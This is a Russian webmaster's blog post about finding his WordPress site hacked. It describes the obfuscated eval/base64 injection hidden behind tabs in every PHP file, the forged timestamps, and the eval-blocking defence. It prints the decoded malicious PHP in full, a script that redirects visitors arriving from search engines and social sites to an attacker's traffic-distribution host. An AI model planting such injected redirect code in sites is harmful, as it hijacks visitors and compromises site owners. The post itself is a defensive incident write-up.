.
29 мая 2012

Взлом сайта или «Хочу быть стройной»...

posted in security, SEO |

Сегодня ночью снова пронырливые хакеры ломанули мой сервак :(
(На самом деле это очередной втык мне за халатность в безопасности — вроде и знаю какие меры уже давно пора предпринять — НО постоянно, то времени нет, то забываю ...)

Сегодня уже думал написать жизненный пост о том, что постить в блог некогда, в связи с приобретением дачного участка, да и тем особых нет — как НА ТЕБЕ — ДЕРЖИ темку для поста :)

ИТАК, захожу в админку WP писать пост — а там охрененная куча изменённых файлов — я так понял все php файлы движка WordPress. Кстати, в связи с происшедшим, рекомендую подобные хэш-сравнивалки, устанавливать на все сайты.

Захожу — смотрю глазами — а там в начале блока php сразу за тегом открытия за кучей табуляций (благо их было не так много, чтоб не заметить код)
eval (base64_decode («...набор символов...»));
причём сволочи зачем то в одном файле по 20-30 раз впаяли ... (по вхождению тега начала php кода)

Это значит, что МЕНЯ ПОЛОМАЛИ и внедрили в код чужеродное вкропление — инъекцию зловредного PHP кода!

меняю eval на file_put_contents дабы понять суть php инъекции и вижу следующее

error_reporting(0);
$qazplm=headers_sent();
$referer=$_SERVER['HTTP_REFERER'];
if (!$qazplm){
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){header("Location: http://9maiak.sellClassics.com/");
exit();
}}}}}

Поясню суть инъекции — любой поисковый (и не совсем поисковый) трафик этим скриптом перенаправляется на 9maiak.sellClassics.com где какая то система управления трафиком, уже в зависимости от реферера, либо конкретного ключевика, либо ... любого другого фактора перекидывает на какой-то другой, чужой сайт. Например, меня кидало на сайтик «Хочу быть стройной» URL testrrru-online.ru/freshdiet/. По коммерческим ключевикам может быть кинуло куда-нить в другое место...

Для правки взад всех инъекций срочно был написан скрипт, так что кому надо — стучите, объясню как пользоваться.

Далее немного анализа:

С инъекцией прошлись вообще по всем php файлам доступным под запись пользователю под которым работает apache, что говорит о характере взлома — 90% влом был осуществлён через http протокол через какую нибудь уязвимость движка, к сожалению пока не знаю как вычислить «откуда ветер дует».

Время модификации было изменено на 15 декабря 2011 года — заметали следы негодяи! (везде одно и тоже — поэтому можно найти зараженные файлы по этому параметру).

Для защиты от выполнения именно таких инъекций можно запретить eval параметром suhosin патча, но это отдельная песня — в идеале всё же нужно вообще не допускать никаких инъекций.

Яндекс.Метрика